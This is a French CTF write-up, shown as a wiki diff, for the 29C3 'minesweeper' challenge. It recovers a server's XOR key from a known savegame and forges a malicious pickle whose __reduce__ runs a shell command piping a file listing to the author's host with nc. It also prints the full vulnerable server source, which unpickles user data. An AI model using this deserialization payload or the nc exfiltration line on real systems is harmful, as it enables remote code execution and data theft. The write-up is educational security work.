Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
29c3:exploitation:minesweeper [2012/12/30 12:33] mooh créée |
29c3:exploitation:minesweeper [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 4: | Ligne 4: | ||
Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024 | Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024 | ||
- | |||
- | http://dl.ctftime.org/57/193/minesweeper.rar | ||
==== Solution ==== | ==== Solution ==== | ||
Ligne 17: | Ligne 15: | ||
On va donc regarder de plus pres le code et en particulier les fonctions de sauvegarde et chargement | On va donc regarder de plus pres le code et en particulier les fonctions de sauvegarde et chargement | ||
- | sauvegarder: | + | **La fonction sauvegarder:** |
<code python> | <code python> | ||
msg = f.save() | msg = f.save() | ||
Ligne 29: | Ligne 27: | ||
return (True, "Your savegame: " + base64.standard_b64encode(msg)) | return (True, "Your savegame: " + base64.standard_b64encode(msg)) | ||
</code> | </code> | ||
+ | avec | ||
+ | <code python> | ||
+ | def save(self): | ||
+ | return pickle.dumps(self.__dict__, 1) | ||
+ | </code> | ||
+ | |||
+ | et f un objet de classe Field: | ||
+ | <code python> | ||
+ | class Field: | ||
+ | def __init__(self, w, h, mines): | ||
+ | self.w = w | ||
+ | self.h = h | ||
+ | self.mines = set() | ||
+ | while len(self.mines) < mines: | ||
+ | y = random.randint(0, h - 1) | ||
+ | x = random.randint(0, w - 1) | ||
+ | self.mines.add((y, x)) | ||
+ | self.mines = sorted(self.mines) | ||
+ | self.opened = [] | ||
+ | self.flagged = [] | ||
+ | </code> | ||
+ | |||
+ | La fonction sauvegarder va donc faire un pickle dumps de son __dict__ (ici qui contient toutes les informations relatives a la partie, la width/height, position des mines, cases deja ouvertes et cases deja marquees) et ensuite faire une concatenation de "4n71cH3aT" + h.digest() + msg et finalement un xor avec une cle secrete puis l'encoder en base64. | ||
+ | |||
+ | **La fonction charger:** | ||
+ | elle fait l'inverse: elle b64-decode l'input, fait un xor avec la cle secrete, verifie que ca commance par "4n71cH3aT", que le hash correspond au message et ensuite | ||
+ | <code python> | ||
+ | def load(self, data): | ||
+ | self.__dict__ = pickle.loads(data) | ||
+ | </code> | ||
+ | |||
+ | On va donc chercher a obtenir la cle secrete. En effet, si on connait le resultat et le message de depart et on les XOR, on retrouve la cle. | ||
+ | Pour cela, on va sauvegarder la partie des le commencement (comme ca il n'y aucune case d'ouverte/marque) et ensuite la gagner (on remarquera que la partie est toujours la meme, donc ce n'est pas grave si on se trompe). | ||
+ | Une fois la partie gagnee, on va reconstruire le message initial: | ||
+ | <code python> | ||
+ | class Field: | ||
+ | def __init__(self): | ||
+ | self.w = 16 | ||
+ | self.h = 16 | ||
+ | self.mines = [(0, 4), (1, 5), (1, 7), (4, 1), (4, 8), (5, 13), (5, 14), (6, 0), (7, 7), (9, 10), (11, 7), (12, 2), (12, 7), (12, 8), (12, 13), (12, 14), (13, 0), (13, 10), (14, 14), (14, 15)] | ||
+ | self.opened = [] | ||
+ | self.flagged = [] | ||
+ | |||
+ | f = Field() | ||
+ | |||
+ | msg = pickle.dumps(f.__dict__, 1) | ||
+ | </code> | ||
+ | |||
+ | et ensuite le mettre sous le bon format ("4n71cH3aT" + hash) et ensuite le XOR avec la sauvegarde que le serveur nous a donnee. | ||
+ | |||
+ | On retrouve donc la key | ||
+ | <code> | ||
+ | 28 94 52 39 2D 84 88 4A BD E9 39 C0 F7 38 8D 56 CB F4 F1 5F 5F F1 7C 9C 84 73 7E 3C 6A C0 A0 7E D6 60 AA 0E 92 6E 45 37 AC 50 C8 69 A5 60 CC C9 96 6F FC 80 57 AF F7 A5 E3 19 BD 10 09 C8 55 6F D5 65 5E 66 24 C4 7B DE C5 8C 40 88 49 B4 EC 1A 0D 0D B3 74 22 75 78 BA 7B 03 3D C9 FA 4E 33 ED 08 C8 6A 33 C8 B6 74 B9 67 08 11 2C 3E 82 85 0C 9D F6 2F F1 CE 7A B8 D8 F8 31 F1 49 1E 44 15 8A 04 65 D3 45 CE D2 38 7D A8 99 79 BD 10 7F 78 31 D4 6D 01 57 13 78 43 57 F6 D6 B1 E7 77 E8 23 9E 35 51 5E 38 65 9E BC B9 52 2E D9 7B 59 AC 0F 01 39 5B 97 E7 03 28 5E 38 D3 CA 5B 93 D7 AB 0C 74 B0 26 FC 80 31 4D 39 31 EF 88 7A 61 EB 2A A3 F1 EB 1F 1F AE B3 17 DB 42 98 E7 5C 37 3D 70 BB 14 44 EF 83 9C 30 B6 B2 8E C9 92 E8 74 1A 23 82 5A C9 EB 5C 46 5D 8A 87 A1 90 0C | ||
+ | </code> | ||
+ | |||
+ | Apres quelques essais infructueux, cette key semble aleatoire (ie pas de zip ou image...) | ||
+ | |||
+ | On va donc continuer. Maintenant on a la cle du serveur, c'est a dire que l'on peut generer ses propres parties et on peut donc essayer de generer une partie avec 0 mine pour le fun. Si on ouvre une case, elles vont toutes s'ouvrir d'un coup mais il ne se passe rien d'autre =) | ||
+ | |||
+ | On remarque que pour charger la partie, le serveur utilise **pickle.loads** et en forgeant un object special, il est possible d'executer des commandes sur le serveur. Allez voir http://5mins.wordpress.com/2011/04/25/plaidctf-django-challenge-writeup-web-300/ pour plus d'explications. | ||
+ | |||
+ | On va donc forger notre objet qui va envoyer la liste des fichiers sur le serveur sur notre serveur en utilisant nc: | ||
+ | <code python> | ||
+ | import pickle | ||
+ | import socket | ||
+ | import os | ||
+ | class payload(object): | ||
+ | def __reduce__(self): | ||
+ | import subprocess | ||
+ | return (subprocess.Popen, (('/bin/sh','-c','ls ./ | nc xx.xx.xx.xx 5555'),)) | ||
+ | payload = pickle.dumps( payload()) | ||
+ | print repr(payload) | ||
+ | </code> | ||
+ | et le formatter correctement (anti cheat + hash) et xor avec la cle sur serveur. | ||
+ | Quand on charge la partie, on obtient sur notre serveur (merci a Pheimors =) une liste de fichiers: | ||
+ | <code> | ||
+ | encrypt_key.bin | ||
+ | flag.txt | ||
+ | minesweeper.py | ||
+ | </code> | ||
+ | |||
+ | On recree une partie, mais cette fois avec **cat flag.txt** et on obtient le flag **29C3_TickTickBoom_YouFoundAMine** | ||
+ | |||
+ | ==== Source ==== | ||
+ | <code python> | ||
+ | #!/usr/bin/env python | ||
+ | import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os | ||
+ | |||
+ | def load_encrypt_key(): | ||
+ | try: | ||
+ | f = open('encrypt_key.bin', 'r') | ||
+ | try: | ||
+ | encrypt_key = f.read(4096) | ||
+ | if len(encrypt_key) == 4096: | ||
+ | return encrypt_key | ||
+ | finally: | ||
+ | f.close() | ||
+ | except: | ||
+ | pass | ||
+ | |||
+ | rand = random.SystemRandom() | ||
+ | encrypt_key = "" | ||
+ | for i in xrange(0, 4096): | ||
+ | encrypt_key += chr(rand.randint(0,255)) | ||
+ | |||
+ | try: | ||
+ | f = open('encrypt_key.bin', 'w') | ||
+ | try: | ||
+ | f.write(encrypt_key) | ||
+ | finally: | ||
+ | f.close() | ||
+ | except: | ||
+ | pass | ||
+ | |||
+ | return encrypt_key | ||
+ | |||
+ | class Field: | ||
+ | def __init__(self, w, h, mines): | ||
+ | self.w = w | ||
+ | self.h = h | ||
+ | self.mines = set() | ||
+ | while len(self.mines) < mines: | ||
+ | y = random.randint(0, h - 1) | ||
+ | x = random.randint(0, w - 1) | ||
+ | self.mines.add((y, x)) | ||
+ | self.mines = sorted(self.mines) | ||
+ | self.opened = [] | ||
+ | self.flagged = [] | ||
+ | |||
+ | def calc_num(self, point): | ||
+ | n = 0 | ||
+ | for y in xrange(point[0] - 1, point[0] + 2): | ||
+ | for x in xrange(point[1] - 1, point[1] + 2): | ||
+ | p = (y, x) | ||
+ | if p != point and p in self.mines: | ||
+ | n += 1 | ||
+ | return n | ||
+ | |||
+ | def open(self, y, x): | ||
+ | point = (int(y), int(x)) | ||
+ | if point[0] < 0 or point[0] >= self.h: | ||
+ | return (True, "Illegal point") | ||
+ | if point[1] < 0 or point[1] >= self.w: | ||
+ | return (True, "Illegal point") | ||
+ | if point in self.opened: | ||
+ | return (True, "Already opened") | ||
+ | if point in self.flagged: | ||
+ | return (True, "Already flagged") | ||
+ | bisect.insort(self.opened, point) | ||
+ | if point in self.mines: | ||
+ | return (False, "You lose") | ||
+ | if len(self.opened) + len(self.mines) == self.w * self.h: | ||
+ | return (False, "You win") | ||
+ | if self.calc_num(point) == 0: | ||
+ | #open everything around - it can not result in something bad | ||
+ | self.open(y-1, x-1) | ||
+ | self.open(y-1, x) | ||
+ | self.open(y-1, x+1) | ||
+ | self.open(y, x-1) | ||
+ | self.open(y, x+1) | ||
+ | self.open(y+1, x-1) | ||
+ | self.open(y+1, x) | ||
+ | self.open(y+1, x+1) | ||
+ | return (True, None) | ||
+ | |||
+ | |||
+ | def flag(self, y, x): | ||
+ | point = (int(y), int(x)) | ||
+ | if point[0] < 0 or point[0] >= self.h: | ||
+ | return "Illegal point" | ||
+ | if point[1] < 0 or point[1] >= self.w: | ||
+ | return "Illegal point" | ||
+ | if point in self.opened: | ||
+ | return "Already opened" | ||
+ | if point in self.flagged: | ||
+ | self.flagged.remove(point) | ||
+ | else: | ||
+ | bisect.insort(self.flagged, point) | ||
+ | return None | ||
+ | |||
+ | def load(self, data): | ||
+ | self.__dict__ = pickle.loads(data) | ||
+ | |||
+ | def save(self): | ||
+ | return pickle.dumps(self.__dict__, 1) | ||
+ | |||
+ | def write(self, stream): | ||
+ | mine = 0 | ||
+ | open = 0 | ||
+ | flag = 0 | ||
+ | screen = " " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n" | ||
+ | for y in xrange(0, self.h): | ||
+ | have_mines = mine < len(self.mines) and self.mines[mine][0] == y | ||
+ | have_opened = open < len(self.opened) and self.opened[open][0] == y | ||
+ | have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y | ||
+ | screen += chr(0x30 | (y % 10)) + "|" | ||
+ | for x in xrange(0, self.w): | ||
+ | is_mine = have_mines and self.mines[mine][1] == x | ||
+ | is_opened = have_opened and self.opened[open][1] == x | ||
+ | is_flagged = have_flagged and self.flagged[flag][1] == x | ||
+ | assert(not (is_opened and is_flagged)) | ||
+ | if is_mine: | ||
+ | mine += 1 | ||
+ | have_mines = mine < len(self.mines) and self.mines[mine][0] == y | ||
+ | if is_opened: | ||
+ | open += 1 | ||
+ | have_opened = open < len(self.opened) and self.opened[open][0] == y | ||
+ | if is_mine: | ||
+ | c = "*" | ||
+ | else: | ||
+ | c = ord("0") | ||
+ | #check prev row | ||
+ | for m in xrange(mine - 1, -1, -1): | ||
+ | if self.mines[m][0] < y - 1: | ||
+ | break | ||
+ | if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1): | ||
+ | c += 1 | ||
+ | #check left & right | ||
+ | if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1: | ||
+ | c += 1 | ||
+ | if have_mines and self.mines[mine][1] == x + 1: | ||
+ | c += 1 | ||
+ | #check next row | ||
+ | for m in xrange(mine, len(self.mines)): | ||
+ | if self.mines[m][0] > y + 1: | ||
+ | break | ||
+ | if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1): | ||
+ | c += 1 | ||
+ | c = chr(c) | ||
+ | elif is_flagged: | ||
+ | flag += 1 | ||
+ | have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y | ||
+ | c = "!" | ||
+ | else: | ||
+ | c = " " | ||
+ | screen += c | ||
+ | screen += "|" + chr(0x30 | (y % 10)) + "\n" | ||
+ | screen += " +" + ("-" * self.w) + "+\n " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n" | ||
+ | stream.send(screen) | ||
+ | |||
+ | sock = socket.socket() | ||
+ | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | ||
+ | sock.bind(('0.0.0.0', 1024)) | ||
+ | sock.listen(10) | ||
+ | |||
+ | signal.signal(signal.SIGCHLD, signal.SIG_IGN) | ||
+ | |||
+ | encrypt_key = load_encrypt_key() | ||
+ | |||
+ | while 1: | ||
+ | client, addr = sock.accept() | ||
+ | if os.fork() == 0: | ||
+ | break | ||
+ | client.close() | ||
+ | sock.close() | ||
+ | |||
+ | f = Field(16, 16, 20) | ||
+ | |||
+ | re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") | ||
+ | re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") | ||
+ | def handle(line): | ||
+ | if len(line) < 1: | ||
+ | return (True, None) | ||
+ | if len(line) == 1 and line[0] in "qxQX": | ||
+ | return (False, "Bye") | ||
+ | global f | ||
+ | if line[0] in "foFO": | ||
+ | m = re_pos.match(line) | ||
+ | if m is None: | ||
+ | return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") | ||
+ | x,y = m.groups() | ||
+ | x = int(x) | ||
+ | y = int(y) | ||
+ | if line[0] in "oO": | ||
+ | return f.open(y,x) | ||
+ | else: | ||
+ | return (True, f.flag(y,x)) | ||
+ | elif line[0] in "lL": | ||
+ | m = re_save.match(line) | ||
+ | if m is None: | ||
+ | return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") | ||
+ | msg = base64.standard_b64decode(m.group(1)) | ||
+ | tmp = "" | ||
+ | for i in xrange(0, len(msg)): | ||
+ | tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) | ||
+ | msg = tmp | ||
+ | if msg[0:9] != "4n71cH3aT": | ||
+ | return (True, "Unable to load savegame (magic)") | ||
+ | h = hashlib.sha1() | ||
+ | h.update(msg[9+h.digest_size:]) | ||
+ | if msg[9:9+h.digest_size] != h.digest(): | ||
+ | return (True, "Unable to load savegame (checksum)") | ||
+ | try: | ||
+ | f.load(msg[9+h.digest_size:]) | ||
+ | except: | ||
+ | return (True, "Unable to load savegame (exception)") | ||
+ | return (True, "Savegame loaded") | ||
+ | elif len(line) == 1 and line[0] in "sS": | ||
+ | msg = f.save() | ||
+ | h = hashlib.sha1() | ||
+ | h.update(msg) | ||
+ | msg = "4n71cH3aT" + h.digest() + msg | ||
+ | tmp = "" | ||
+ | for i in xrange(0, len(msg)): | ||
+ | tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) | ||
+ | msg = tmp | ||
+ | return (True, "Your savegame: " + base64.standard_b64encode(msg)) | ||
+ | elif len(line) == 1 and line[0] in "dD": | ||
+ | return (True, repr(f.__dict__)+"\n") | ||
+ | else: | ||
+ | return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s") | ||
+ | |||
+ | data = "" | ||
+ | while 1: | ||
+ | f.write(client) | ||
+ | while 1: | ||
+ | pos = data.find("\n") | ||
+ | if pos != -1: | ||
+ | cont, msg = handle(data[0:pos]) | ||
+ | if not cont: | ||
+ | if msg is not None: | ||
+ | client.send(msg + "\n") | ||
+ | f.write(client) | ||
+ | client.close() | ||
+ | sys.exit(0) | ||
+ | if msg is not None: | ||
+ | client.send(msg + "\n") | ||
+ | data = data[pos+1:] | ||
+ | break | ||
+ | new_data = client.recv(4096) | ||
+ | if len(new_data) == 0: | ||
+ | sys.exit(0) | ||
+ | data += new_data | ||
+ | |||
+ | </code> | ||
+ | |||
+ |